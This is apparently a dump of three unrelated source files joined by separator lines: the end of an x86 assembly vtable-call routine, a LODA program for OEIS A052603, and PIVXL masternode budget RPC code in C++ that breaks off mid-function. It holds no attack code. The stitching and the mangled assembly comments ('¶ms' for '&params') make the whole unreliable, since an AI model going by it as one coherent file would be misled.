; EIGHTBYTES | INT, // long long
; FOURBYES | FLOAT, // float
; EIGHTBYTES | FLOAT // double
;};
; params+00h = val // double
; params+08h = ptr
; params+0ch = type
; params+0dh = flags
; PTR_IS_DATA = 0x01
; ecx = params
; edx = src
; edi = dst
; ebx = type (bh = int/float, bl = byte count)
xor eax, eax
mov dword ptr [cparams],eax ; cparams = 0;
mov dword ptr [fparams],eax ; fparams = 0;
shl ecx, 03h
sub esp, ecx ; dst/esp = add esp, paramCount * 8
mov edi, esp
push eax ; push 0 // "end" of floating point register stack...
mov ecx, dword ptr [params] ; // params is a "register" variable
@While1:
mov eax, dword ptr [count] ; while( count-- )
or eax, eax ; // (test for zero)
je @EndWhile1
dec eax
mov dword ptr [count], eax
; {
test byte ptr [ecx+0dh],01h ; if ( params->flags & PTR_IS_DATA ) {
je @IfElse1
lea edx, dword ptr [ecx+08h] ; src = ¶ms->ptr;
mov ebx, 01004h ; type = INT | FOURBYTES;
jmp @EndIf1
@IfElse1: ; } else {
mov edx, ecx ; src = ¶ms->val
movzx eax, byte ptr [ecx+0ch] ; type = types[params->type];
cmp eax, 22 ; // range check params->type... (0 to 22)
jle @TypeOK
mov eax,2 ; // all others default to 4 byte int
@TypeOK:
mov ebx, dword ptr [TypesArray+eax*4]
@EndIf1: ; }
test bh, 001h ; if ( type & FLOAT ) {
je @EndIf2
cmp dword ptr [fparams], 4 ; if ( fparams < 4 ) {
jge @EndIf3
push edx ; push src;
push ebx ; push type
inc dword ptr [fparams] ; fparams++;
;;; movzx eax, bl ; // dst += (type & LENGTH);
;;; add edi, eax ;
;;; xor ebx, ebx ; // type = 0; // "handled"
@EndIf3: ; }
@EndIf2: ; }
; // copy bytes...
@While2: or bl, bl ; while( type & LENGTH ) {
je @EndWhile2
test bh, 010h ; if( type & INT ) {
je @EndIf4
cmp dword ptr [cparams], 8 ; if( cparams < 8 ) {
jge @EndIf5
lea eax, dword ptr [reg_edx] ; (®_edx)[cparams] = *src;
sub eax, dword ptr [cparams]
mov esi, dword ptr [edx]
mov dword ptr [eax], esi
add dword ptr [cparams], 4 ; cparams += 4;
;;; jmp @NoCopy ; // goto nocopy;
@EndIf5: ; }
@EndIf4: ; }
mov eax, dword ptr [edx] ; *dst = *src;
mov dword ptr [edi], eax
@NoCopy: ;nocopy:
add edi, 4 ; dst++;
add edx, 4 ; src++;
sub bl, 4 ; type -= 4;
jmp @While2
@EndWhile2: ; }
add ecx, 010h ; params++;
jmp @While1
@EndWhile1: ; }
; // Set up fpu and regs can make the call...
@While3: pop ebx ; while ( pop type ) {
or ebx, ebx
je @EndWhile3
pop edx ; pop src
cmp bl, 08h ; if( type & EIGHTBYTES ) {
jne @IfElse6
fld qword ptr [edx] ; fld qword ptr [src]
jmp @EndIf6
@IfElse6: ; } else {
fld dword ptr [edx] ; fld dword ptr [src]
@EndIf6: ; }
jmp @While3
@EndWhile3: ; }
; make the call
mov eax, dword ptr [that] ; get 'that' ("this" ptr)
mov ebx, dword ptr [index] ; get index
shl ebx, 03h ; index *= 8 bytes per method
add ebx, 08h ; += 8 at head of vtable
add ebx, [eax] ; calculate address
mov ecx, dword ptr [ebx+04h]
add eax, ecx
sub esp, 04h ; make room for 'this' ptr on stack
mov edx, dword ptr [reg_edx]
mov ecx, dword ptr [reg_ecx]
call dword ptr [ebx] ; call method
mov ecx, dword ptr [paramcount]
shl ecx, 03h
add esp, ecx ; remove space on stack for params
add esp, 04h ; remove space on stack for 'this' ptr
ret
ENDP
END
|
; A052603: E.g.f. (1-x)^3/(1-4x+3x^2-x^3).
; Submitted by Christian Krause
; 1,1,8,78,984,15480,292320,6441120,162207360,4595512320,144662112000,5009199148800,189221439052800,7743449813299200,341258374762905600,16113703632009984000,811588993992032256000,43431603596770701312000
mov $2,$0
seq $0,52529 ; Expansion of (1-x)^3/(1 - 4*x + 3*x^2 - x^3).
lpb $2
mul $0,$2
sub $2,1
lpe
|
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2020 The PIVX developers
// Copyright (c) 2019-2023 The PIVXL developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "activemasternode.h"
#include "chainparams.h"
#include "db.h"
#include "init.h"
#include "main.h"
#include "masternode-budget.h"
#include "masternode-payments.h"
#include "masternode-sync.h"
#include "masternodeconfig.h"
#include "masternodeman.h"
#include "messagesigner.h"
#include "rpc/server.h"
#include "utilmoneystr.h"
#include <univalue.h>
#include <fstream>
void budgetToJSON(CBudgetProposal* pbudgetProposal, UniValue& bObj)
{
CTxDestination address1;
ExtractDestination(pbudgetProposal->GetPayee(), address1);
CBitcoinAddress address2(address1);
bObj.push_back(Pair("Name", pbudgetProposal->GetName()));
bObj.push_back(Pair("URL", pbudgetProposal->GetURL()));
bObj.push_back(Pair("Hash", pbudgetProposal->GetHash().ToString()));
bObj.push_back(Pair("FeeHash", pbudgetProposal->nFeeTXHash.ToString()));
bObj.push_back(Pair("BlockStart", (int64_t)pbudgetProposal->GetBlockStart()));
bObj.push_back(Pair("BlockEnd", (int64_t)pbudgetProposal->GetBlockEnd()));
bObj.push_back(Pair("TotalPaymentCount", (int64_t)pbudgetProposal->GetTotalPaymentCount()));
bObj.push_back(Pair("RemainingPaymentCount", (int64_t)pbudgetProposal->GetRemainingPaymentCount()));
bObj.push_back(Pair("PaymentAddress", address2.ToString()));
bObj.push_back(Pair("Ratio", pbudgetProposal->GetRatio()));
bObj.push_back(Pair("Yeas", (int64_t)pbudgetProposal->GetYeas()));
bObj.push_back(Pair("Nays", (int64_t)pbudgetProposal->GetNays()));
bObj.push_back(Pair("Abstains", (int64_t)pbudgetProposal->GetAbstains()));
bObj.push_back(Pair("TotalPayment", ValueFromAmount(pbudgetProposal->GetAmount() * pbudgetProposal->GetTotalPaymentCount())));
bObj.push_back(Pair("MonthlyPayment", ValueFromAmount(pbudgetProposal->GetAmount())));
bObj.push_back(Pair("IsEstablished", pbudgetProposal->IsEstablished()));
std::string strError = "";
bObj.push_back(Pair("IsValid", pbudgetProposal->IsValid(strError)));
bObj.push_back(Pair("IsValidReason", strError.c_str()));
bObj.push_back(Pair("fValid", pbudgetProposal->fValid));
}
void checkBudgetInputs(const UniValue& params, std::string &strProposalName, std::string &strURL,
int &nPaymentCount, int &nBlockStart, CBitcoinAddress &address, CAmount &nAmount)
{
strProposalName = SanitizeString(params[0].get_str());
if (strProposalName.size() > 20)
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid proposal name, limit of 20 characters.");
strURL = SanitizeString(params[1].get_str());
std::string strErr;
if (!validateURL(strURL, strErr))
throw JSONRPCError(RPC_INVALID_PARAMETER, strErr);
nPaymentCount = params[2].get_int();
if (nPaymentCount < 1)
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid payment count, must be more than zero.");
CBlockIndex* pindexPrev = chainActive.Tip();
if (!pindexPrev)
throw JSONRPCError(RPC_IN_WARMUP, "Try again after active chain is loaded");
// Start must be in the next budget cycle or later
const int budgetCycleBlocks = Params().GetConsensus().nBudgetCycleBlocks;
int pHeight = pindexPrev->nHeight;
int nBlockMin = pHeight - (pHeight % budgetCycleBlocks) + budgetCycleBlocks;
nBlockStart = params[3].get_int();
if ((nBlockStart < nBlockMin) || ((nBlockStart % budgetCycleBlocks) != 0))
throw JSONRPCError(RPC_INVALID_PARAMETER, strprintf("Invalid block start - must be a budget cycle block. Next valid block: %d", nBlockMin));
address = params[4].get_str();
if (!address.IsValid())
throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid PIVXL address");
nAmount = AmountFromValue(params[5]);
if (nAmount < 10 * COIN)
throw JSONRPCError(RPC_INVALID_PARAMETER, strprintf("Invalid amount - Payment of %d is less than minimum 10 PIVXL allowed", FormatMoney(nAmount)));
if (nAmount > budget.GetTotalBudget(nBlockStart))
throw JSONRPCError(RPC_INVALID_PARAMETER, strprintf("Invalid amount - Payment of %d more than max of %d", FormatMoney(nAmount), FormatMoney(budget.GetTotalBudget(nBlockStart))));
}
UniValue preparebudget(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() != 6)
throw std::runtime_error(
"preparebudget \"proposal-name\" \"url\" payment-count block-start \"pivxl-address\" monthy-payment\n"
"\nPrepare proposal for network by signing and creating tx\n"
"\nArguments:\n"
"1. \"proposal-name\": (string, required) Desired proposal name (20 character limit)\n"
"2. \"url\": (string, required) URL of proposal details (64 character limit)\n"
"3. payment-count: (numeric, required) Total number of monthly payments\n"
"4. block-start: (numeric, required) Starting super block height\n"
"5. \"pivxl-address\": (string, required) PIVXL address to send payments to\n"
"6. monthly-payment: (numeric, required) Monthly payment amount\n"
"\nResult:\n"
"\"xxxx\" (string) proposal fee hash (if successful) or error message (if failed)\n"
"\nExamples:\n" +
HelpExampleCli("preparebudget", "\"test-proposal\" \"https://forum.pivxl.org/t/test-proposal\" 2 820800 \"D9oc6C3dttUbv8zd7zGNq1qKBGf4ZQ1XEE\" 500") +
HelpExampleRpc("preparebudget", "\"test-proposal\" \"https://forum.pivxl.org/t/test-proposal\" 2 820800 \"D9oc6C3dttUbv8zd7zGNq1qKBGf4ZQ1XEE\" 500"));
if (!pwalletMain) {
throw JSONRPCError(RPC_IN_WARMUP, "Try again after active chain is loaded");
}
LOCK2(cs_main, pwalletMain->cs_wallet);
EnsureWalletIsUnlocked();
std::string strProposalName;
std::string strURL;
int nPaymentCount;
int nBlockStart;
CBitcoinAddress address;
CAmount nAmount;
checkBudgetInputs(params, strProposalName, strURL, nPaymentCount, nBlockStart, address, nAmount);
// Parse PIVXL address
CScript scriptPubKey = GetScriptForDestination(address.Get());
// create transaction 15 minutes into the future, to allow for confirmation time
CBudgetProposalBroadcast budgetProposalBroadcast(strProposalName, strURL, nPaymentCount, scriptPubKey, nAmount, nBlockStart, UINT256_ZERO);
std::string strError = "";
if (!budgetProposalBroadcast.IsValid(strError, false))
throw std::runtime_error("Proposal is not valid - " + budgetProposalBroadcast.GetHash().ToString() + " - " + strError);
bool useIX = false; //true;
// if (params.size() > 7) {
// if(params[7].get_str() != "false" && params[7].get_str() != "true")
// return "Invalid use_ix, must be true or false";
// useIX = params[7].get_str() == "true" ? true : false;
// }
CWalletTx wtx;
if (!pwalletMain->GetBudgetSystemCollateralTX(wtx, budgetProposalBroadcast.GetHash(), useIX)) { // 50 PIVXL collateral for proposal
throw std::runtime_error("Error making collateral transaction for proposal. Please check your wallet balance.");
}
// make our change address
CReserveKey reservekey(pwalletMain);
//send the tx to the network
pwalletMain->CommitTransaction(wtx, reservekey, useIX ? "ix" : "tx");
return wtx.GetHash().ToString();
}
UniValue submitbudget(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() != 7)
throw std::runtime_error(
"submitbudget \"proposal-name\" \"url\" payment-count block-start \"pivxl-address\" monthly-payment \"fee-tx\"\n"
"\nSubmit proposal to the network\n"
"\nArguments:\n"
"1. \"proposal-name\": (string, required) Desired proposal name (20 character limit)\n"
"2. \"url\": (string, required) URL of proposal details (64 character limit)\n"
"3. payment-count: (numeric, required) Total number of monthly payments\n"
"4. block-start: (numeric, required) Starting super block height\n"
"5. \"pivxl-address\": (string, required) PIVXL address to send payments to\n"
"6. monthly-payment: (numeric, required) Monthly payment amount\n"
"7. \"fee-tx\": (string, required) Transaction hash from preparebudget command\n"
"\nResult:\n"
"\"xxxx\" (string) proposal hash (if successful) or error message (if failed)\n"
"\nExamples:\n" +
HelpExampleCli("submitbudget", "\"test-proposal\" \"https://forum.pivxl.org/t/test-proposal\" 2 820800 \"D9oc6C3dttUbv8zd7zGNq1qKBGf4ZQ1XEE\" 500") +
HelpExampleRpc("submitbudget", "\"test-proposal\" \"https://forum.pivxl.org/t/test-proposal\" 2 820800 \"D9oc6C3dttUbv8zd7zGNq1qKBGf4ZQ1XEE\" 500"));
std::string strProposalName;
std::string strURL;
int nPaymentCount;
int nBlockStart;
CBitcoinAddress address;
CAmount nAmount;
checkBudgetInputs(params, strProposalName, strURL, nPaymentCount, nBlockStart, address, nAmount);
// Parse PIVXL address
CScript scriptPubKey = GetScriptForDestination(address.Get());
uint256 hash = ParseHashV(params[6], "parameter 1");
//create the proposal incase we're the first to make it
CBudgetProposalBroadcast budgetProposalBroadcast(strProposalName, strURL, nPaymentCount, scriptPubKey, nAmount, nBlockStart, hash);
std::string strError = "";
int nConf = 0;
if (!IsBudgetCollateralValid(hash, budgetProposalBroadcast.GetHash(), strError, budgetProposalBroadcast.nTime, nConf)) {
throw std::runtime_error("Proposal FeeTX is not valid - " + hash.ToString() + " - " + strError);
}
if (!masternodeSync.IsBlockchainSynced()) {
throw std::runtime_error("Must wait for client to sync with masternode network. Try again in a minute or so.");
}
// if(!budgetProposalBroadcast.IsValid(strError)){
// return "Proposal is not valid - " + budgetProposalBroadcast.GetHash().ToString() + " - " + strError;
// }
budget.mapSeenMasternodeBudgetProposals.insert(std::make_pair(budgetProposalBroadcast.GetHash(), budgetProposalBroadcast));
budgetProposalBroadcast.Relay();
if(budget.AddProposal(budgetProposalBroadcast)) {
return budgetProposalBroadcast.GetHash().ToString();
}
throw std::runtime_error("Invalid proposal, see debug.log for details.");
}
UniValue mnbudgetvote(const UniValue& params, bool fHelp)
{
std::string strCommand;
if (params.size() >= 1) {
strCommand = params[0].get_str();
// Backwards compatibility with legacy `mnbudget` command
if (strCommand == "vote") strCommand = "local";
if (strCommand == "vote-many") strCommand = "many";
if (strCommand == "vote-alias") strCommand = "alias";
}
if (fHelp || (params.size() == 3 && (strCommand != "local" && strCommand != "many")) || (params.size() == 4 && strCommand != "alias") ||
params.size() > 4 || params.size() < 3)
throw std::runtime_error(
"mnbudgetvote \"local|many|alias\" \"votehash\" \"yes|no\" ( \"alias\" )\n"
"\nVote on a budget proposal\n"
"\nArguments:\n"
"1. \"mode\" (string, required) The voting mode. 'local' for voting directly from a masternode, 'many' for voting with a MN controller and casting the same vote for each MN, 'alias' for voting with a MN controller and casting a vote for a single MN\n"
"2. \"votehash\" (string, required) The vote hash for the proposal\n"
"3. \"votecast\" (string, required) Your vote. 'yes' to vote for the proposal, 'no' to vote against\n"
"4. \"alias\" (string, required for 'alias' mode) The MN alias to cast a vote for.\n"
"\nResult:\n"
"{\n"
" \"overall\": \"xxxx\", (string) The overall status message for the vote cast\n"
" \"detail\": [\n"
" {\n"
" \"node\": \"xxxx\", (string) 'local' or the MN alias\n"
" \"result\": \"xxxx\", (string) Either 'Success' or 'Failed'\n"
" \"error\": \"xxxx\", (string) Error message, if vote failed\n"
" }\n"
" ,...\n"
" ]\n"
"}\n"
"\nExamples:\n" +
HelpExampleCli("mnbudgetvote", "\"local\" \"ed2f83cedee59a91406f5f47ec4d60bf5a7f9ee6293913c82976bd2d3a658041\" \"yes\"") +
HelpExampleRpc("mnbudgetvote", "\"local\" \"ed2f83cedee59a91406f5f47ec4d60bf5a7f9ee6293913c82976bd2d3a658041\" \"yes\""));
uint256 hash = ParseHashV(params[1], "parameter 1");
std::string strVote = params[2].get_str();
if (strVote != "yes" && strVote != "no") return "You can only vote 'yes' or 'no'";
int nVote = VOTE_ABSTAIN;
if (strVote == "yes") nVote = VOTE_YES;
if (strVote == "no") nVote = VOTE_NO;
int success = 0;
int failed = 0;
bool fNewSigs = false;
{
LOCK(cs_main);
fNewSigs = chainActive.NewSigsActive();
}
UniValue resultsObj(UniValue::VARR);
if (strCommand == "local") {
CPubKey pubKeyMasternode;
CKey keyMasternode;
UniValue statusObj(UniValue::VOBJ);
while (true) {
if (!CMessageSigner::GetKeysFromSecret(strMasterNodePrivKey, keyMasternode, pubKeyMasternode)) {
failed++;
statusObj.push_back(Pair("node", "local"));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Masternode signing error, GetKeysFromSecret failed."));
resultsObj.push_back(statusObj);
break;
}
CMasternode* pmn = mnodeman.Find(activeMasternode.vin);
if (pmn == NULL) {
failed++;
statusObj.push_back(Pair("node", "local"));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Failure to find masternode in list : " + activeMasternode.vin.ToString()));
resultsObj.push_back(statusObj);
break;
}
CBudgetVote vote(activeMasternode.vin, hash, nVote);
if (!vote.Sign(keyMasternode, pubKeyMasternode, fNewSigs)) {
failed++;
statusObj.push_back(Pair("node", "local"));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Failure to sign."));
resultsObj.push_back(statusObj);
break;
}
std::string strError = "";
if (budget.UpdateProposal(vote, NULL, strError)) {
success++;
budget.mapSeenMasternodeBudgetVotes.insert(std::make_pair(vote.GetHash(), vote));
vote.Relay();
statusObj.push_back(Pair("node", "local"));
statusObj.push_back(Pair("result", "success"));
statusObj.push_back(Pair("error", ""));
} else {
failed++;
statusObj.push_back(Pair("node", "local"));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Error voting : " + strError));
}
resultsObj.push_back(statusObj);
break;
}
UniValue returnObj(UniValue::VOBJ);
returnObj.push_back(Pair("overall", strprintf("Voted successfully %d time(s) and failed %d time(s).", success, failed)));
returnObj.push_back(Pair("detail", resultsObj));
return returnObj;
}
if (strCommand == "many") {
for (CMasternodeConfig::CMasternodeEntry mne : masternodeConfig.getEntries()) {
std::vector<unsigned char> vchMasterNodeSignature;
std::string strMasterNodeSignMessage;
CPubKey pubKeyCollateralAddress;
CKey keyCollateralAddress;
CPubKey pubKeyMasternode;
CKey keyMasternode;
UniValue statusObj(UniValue::VOBJ);
if (!CMessageSigner::GetKeysFromSecret(mne.getPrivKey(), keyMasternode, pubKeyMasternode)) {
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Masternode signing error, could not set key correctly."));
resultsObj.push_back(statusObj);
continue;
}
CMasternode* pmn = mnodeman.Find(pubKeyMasternode);
if (pmn == NULL) {
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Can't find masternode by pubkey"));
resultsObj.push_back(statusObj);
continue;
}
CBudgetVote vote(pmn->vin, hash, nVote);
if (!vote.Sign(keyMasternode, pubKeyMasternode, fNewSigs)) {
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Failure to sign."));
resultsObj.push_back(statusObj);
continue;
}
std::string strError = "";
if (budget.UpdateProposal(vote, NULL, strError)) {
budget.mapSeenMasternodeBudgetVotes.insert(std::make_pair(vote.GetHash(), vote));
vote.Relay();
success++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "success"));
statusObj.push_back(Pair("error", ""));
} else {
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", strError.c_str()));
}
resultsObj.push_back(statusObj);
}
UniValue returnObj(UniValue::VOBJ);
returnObj.push_back(Pair("overall", strprintf("Voted successfully %d time(s) and failed %d time(s).", success, failed)));
returnObj.push_back(Pair("detail", resultsObj));
return returnObj;
}
if (strCommand == "alias") {
std::string strAlias = params[3].get_str();
std::vector<CMasternodeConfig::CMasternodeEntry> mnEntries;
mnEntries = masternodeConfig.getEntries();
for (CMasternodeConfig::CMasternodeEntry mne : masternodeConfig.getEntries()) {
if( strAlias != mne.getAlias()) continue;
std::vector<unsigned char> vchMasterNodeSignature;
std::string strMasterNodeSignMessage;
CPubKey pubKeyCollateralAddress;
CKey keyCollateralAddress;
CPubKey pubKeyMasternode;
CKey keyMasternode;
UniValue statusObj(UniValue::VOBJ);
if(!CMessageSigner::GetKeysFromSecret(mne.getPrivKey(), keyMasternode, pubKeyMasternode)){
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Masternode signing error, could not set key correctly."));
resultsObj.push_back(statusObj);
continue;
}
CMasternode* pmn = mnodeman.Find(pubKeyMasternode);
if(pmn == NULL)
{
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Can't find masternode by pubkey"));
resultsObj.push_back(statusObj);
continue;
}
CBudgetVote vote(pmn->vin, hash, nVote);
if(!vote.Sign(keyMasternode, pubKeyMasternode, fNewSigs)){
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", "Failure to sign."));
resultsObj.push_back(statusObj);
continue;
}
std::string strError = "";
if(budget.UpdateProposal(vote, NULL, strError)) {
budget.mapSeenMasternodeBudgetVotes.insert(std::make_pair(vote.GetHash(), vote));
vote.Relay();
success++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "success"));
statusObj.push_back(Pair("error", ""));
} else {
failed++;
statusObj.push_back(Pair("node", mne.getAlias()));
statusObj.push_back(Pair("result", "failed"));
statusObj.push_back(Pair("error", strError.c_str()));
}
resultsObj.push_back(statusObj);
}
UniValue returnObj(UniValue::VOBJ);
returnObj.push_back(Pair("overall", strprintf("Voted successfully %d time(s) and failed %d time(s).", success, failed)));
returnObj.push_back(Pair("detail", resultsObj));
return returnObj;
}
return NullUniValue;
}
UniValue getbudgetvotes(const UniValue& params, bool fHelp)
{
if (params.size() != 1)
throw std::runtime_error(
"getbudgetvotes \"proposal-name\"\n"
"\nPrint vote information for a budget proposal\n"
"\nArguments:\n"
"1. \"proposal-name\": (string, required) Name of the proposal\n"
"\nResult:\n"
"[\n"
" {\n"
" \"mnId\": \"xxxx\", (string) Hash of the masternode's collateral transaction\n"
" \"nHash\": \"xxxx\", (string) Hash of the vote\n"
" \"Vote\": \"YES|NO\", (string) Vote cast ('YES' or 'NO')\n"
" \"nTime\": xxxx, (numeric) Time in seconds since epoch the vote was cast\n"
" \"fValid\": true|false, (boolean) 'true' if the vote is valid, 'false' otherwise\n"
" }\n"
" ,...\n"
"]\n"
"\nExamples:\n" +
HelpExampleCli("getbudgetvotes", "\"test-proposal\"") + HelpExampleRpc("getbudgetvotes", "\"test-proposal\""));
std::string strProposalName = SanitizeString(params[0].get_str());
UniValue ret(UniValue::VARR);
CBudgetProposal* pbudgetProposal = budget.FindProposal(strProposalName);
if (pbudgetProposal == NULL) throw std::runtime_error("Unknown proposal name");
std::map<uint256, CBudgetVote>::iterator it = pbudgetProposal->mapVotes.begin();
while (it != pbudgetProposal->mapVotes.end()) {
UniValue bObj(UniValue::VOBJ);
bObj.push_back(Pair("mnId", (*it).second.vin.prevout.hash.ToString()));
bObj.push_back(Pair("nHash", (*it).first.ToString().c_str()));
bObj.push_back(Pair("Vote", (*it).second.GetVoteString()));
bObj.push_back(Pair("nTime", (int64_t)(*it).second.nTime));
bObj.push_back(Pair("fValid", (*it).second.fValid));
ret.push_back(bObj);
it++;
}
return ret;
}
UniValue getnextsuperblock(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw std::runtime_error(
"getnextsuperblock\n"
"\nPrint the next super block height\n"
"\nResult:\n"
"n (numeric) Block height of the next super block\n"
"\nExamples:\n" +
HelpExampleCli("getnextsuperblock", "") + HelpExampleRpc("getnextsuperblock", ""));
CBlockIndex* pindexPrev = chainActive.Tip();
if (!pindexPrev) return "unknown";
const int nBlocksPerCycle = Params().GetConsensus().nBudgetCycleBlocks;
int nNext = pindexPrev->nHeight - pindexPrev->nHeight % nBlocksPerCycle + nBlocksPerCycle;
return nNext;
}
UniValue getbudgetprojection(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw std::runtime_error(
"getbudgetprojection\n"
"\nShow the projection of which proposals will be paid the next cycle\n"
"\nResult:\n"
"[\n"
" {\n"
" \"Name\": \"xxxx\", (string) Proposal Name\n"
" \"URL\": \"xxxx\", (string) Proposal URL\n"
" \"Hash\": \"xxxx\", (string) Proposal vote hash\n"
" \"FeeHash\": \"xxxx\", (string) Proposal fee hash\n"
" \"BlockStart\": n, (numeric) Proposal starting block\n"
" \"BlockEnd\": n, (numeric) Proposal ending block\n"
" \"TotalPaymentCount\": n, (numeric) Number of payments\n"
" \"RemainingPaymentCount\": n, (numeric) Number of remaining payments\n"
" \"PaymentAddress\": \"xxxx\", (string) PIVXL address of payment\n"
" \"Ratio\": x.xxx, (numeric) Ratio of yeas vs nays\n"
" \"Yeas\": n, (numeric) Number of yea votes\n"
" \"Nays\": n, (numeric) Number of nay votes\n"
" \"Abstains\": n, (numeric) Number of abstains\n"
" \"TotalPayment\": xxx.xxx, (numeric) Total payment amount\n"
" \"MonthlyPayment\": xxx.xxx, (numeric) Monthly payment amount\n"
" \"IsEstablished\": true|false, (boolean) Established (true) or (false)\n"
" \"IsValid\": true|false, (boolean) Valid (true) or Invalid (false)\n"
" \"IsValidReason\": \"xxxx\", (string) Error message, if any\n"
" \"fValid\": true|false, (boolean) Valid (true) or Invalid (false)\n"
" \"Alloted\": xxx.xxx, (numeric) Amount alloted in current period\n"
" \"TotalBudgetAlloted\": xxx.xxx (numeric) Total alloted\n"
" }\n"
" ,...\n"
"]\n"
"\nExamples:\n" +
HelpExampleCli("getbudgetprojection", "") + HelpExampleRpc("getbudgetprojection", ""));
UniValue ret(UniValue::VARR);
UniValue resultObj(UniValue::VOBJ);
CAmount nTotalAllotted = 0;
std::vector<CBudgetProposal*> winningProps = budget.GetBudget();
for (CBudgetProposal* pbudgetProposal : winningProps) {
nTotalAllotted += pbudgetProposal->GetAllotted();
CTxDestination address1;
ExtractDestination(pbudgetProposal->GetPayee(), address1);
CBitcoinAddress address2(address1);
UniValue bObj(UniValue::VOBJ);
budgetToJSON(pbudgetProposal, bObj);
bObj.push_back(Pair("Alloted", ValueFromAmount(pbudgetProposal->GetAllotted())));
bObj.push_back(Pair("TotalBudgetAlloted", ValueFromAmount(nTotalAllotted)));
ret.push_back(bObj);
}
return ret;
}
UniValue getbudgetinfo(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw std::runtime_error(
"getbudgetinfo ( \"proposal\" )\n"
"\nShow current masternode budgets\n"
"\nArguments:\n"
"1. \"proposal\" (string, optional) Proposal name\n"
"\nResult:\n"
"[\n"
" {\n"
" \"Name\": \"xxxx\", (string) Proposal Name\n"
" \"URL\": \"xxxx\", (string) Proposal URL\n"
" \"Hash\": \"xxxx\", (string) Proposal vote hash\n"
" \"FeeHash\": \"xxxx\", (string) Proposal fee hash\n"
" \"BlockStart\": n, (numeric) Proposal starting block\n"
" \"BlockEnd\": n, (numeric) Proposal ending block\n"
" \"TotalPaymentCount\": n, (numeric) Number of payments\n"
" \"RemainingPaymentCount\": n, (numeric) Number of remaining payments\n"
" \"PaymentAddress\": \"xxxx\", (string) PIVXL address of payment\n"
" \"Ratio\": x.xxx, (numeric) Ratio of yeas vs nays\n"
" \"Yeas\": n, (numeric) Number of yea votes\n"
" \"Nays\": n, (numeric) Number of nay votes\n"
" \"Abstains\": n, (numeric) Number of abstains\n"
" \"TotalPayment\": xxx.xxx, (numeric) Total payment amount\n"
" \"MonthlyPayment\": xxx.xxx, (numeric) Monthly payment amount\n"
" \"IsEstablished\": true|false, (boolean) Established (true) or (false)\n"
" \"IsValid\": true|false, (boolean) Valid (true) or Invalid (false)\n"
" \"IsValidReason\": \"xxxx\", (string) Error message, if any\n"
" \"fValid\": true|false, (boolean) Valid (true) or Invalid (false)\n"
" }\n"
" ,...\n"
"]\n"
"\nExamples:\n" +
HelpExampleCli("getbudgetprojection", "") + HelpExampleRpc("getbudgetprojection", ""));
UniValue ret(UniValue::VARR);
std::string strShow = "valid";
if (params.size() == 1) {
std::string strProposalName = SanitizeString(params[0].get_str());
CBudgetProposal* pbudgetProposal = budget.FindProposal(strProposalName);
if (pbudgetProposal == NULL) throw std::runtime_error("Unknown proposal name");
UniValue bObj(UniValue::VOBJ);
budgetToJSON(pbudgetProposal, bObj);
ret.push_back(bObj);
return ret;
}
std::vector<CBudgetProposal*> winningProps = budget.GetAllProposals();
for (CBudgetProposal* pbudgetProposal : winningProps) {
if (strShow == "valid" && !pbudgetProposal->fValid) continue;
UniValue bObj(UniValue::VOBJ);
budgetToJSON(pbudgetProposal, bObj);
ret.push_back(bObj);
}
return ret;
}
UniValue mnbudgetrawvote(const UniValue& params, bool fHelp)
{
if (fHelp || params.size() != 6)
throw std::runtime_error(
"mnbudgetrawvote \"masternode-tx-hash\" masternode-tx-index \"proposal-hash\" yes|no time \"vote-sig\"\n"
"\nCompile and relay a proposal vote with provided external signature instead of signing vote internally\n"
"\nArguments:\n"
"1. \"masternode-tx-hash\" (string, required) Transaction hash for the masternode\n"
"2. masternode-tx-index (numeric, required) Output index for the masternode\n"
"3. \"proposal-hash\" (string, required) Proposal vote hash\n"
"4. yes|no (boolean, required) Vote to cast\n"
"5. time (numeric, required) Time since epoch in seconds\n"
"6. \"vote-sig\" (string, required) External signature\n"
"\nResult:\n"
"\"status\" (string) Vote status or error message\n"
"\nExamples:\n" +
HelpExampleCli("mnbudgetrawvote", "") + HelpExampleRpc("mnbudgetrawvote", ""));
uint256 hashMnTx = ParseHashV(params[0], "mn tx hash");
int nMnTxIndex = params[1].get_int();
CTxIn vin = CTxIn(hashMnTx, nMnTxIndex);
uint256 hashProposal = ParseHashV(params[2], "Proposal hash");
std::string strVote = params[3].get_str();
if (strVote != "yes" && strVote != "no") return "You can only vote 'yes' or 'no'";
int nVote = VOTE_ABSTAIN;
if (strVote == "yes") nVote = VOTE_YES;
if (strVote == "no") nVote = VOTE_NO;
int64_t nTime = params[4].get_int64();
std::string strSig = params[5].get_str();
bool fInvalid = false;
std::vector<unsigned char> vchSig = DecodeBase64(strSig.c_str(), &fInvalid);
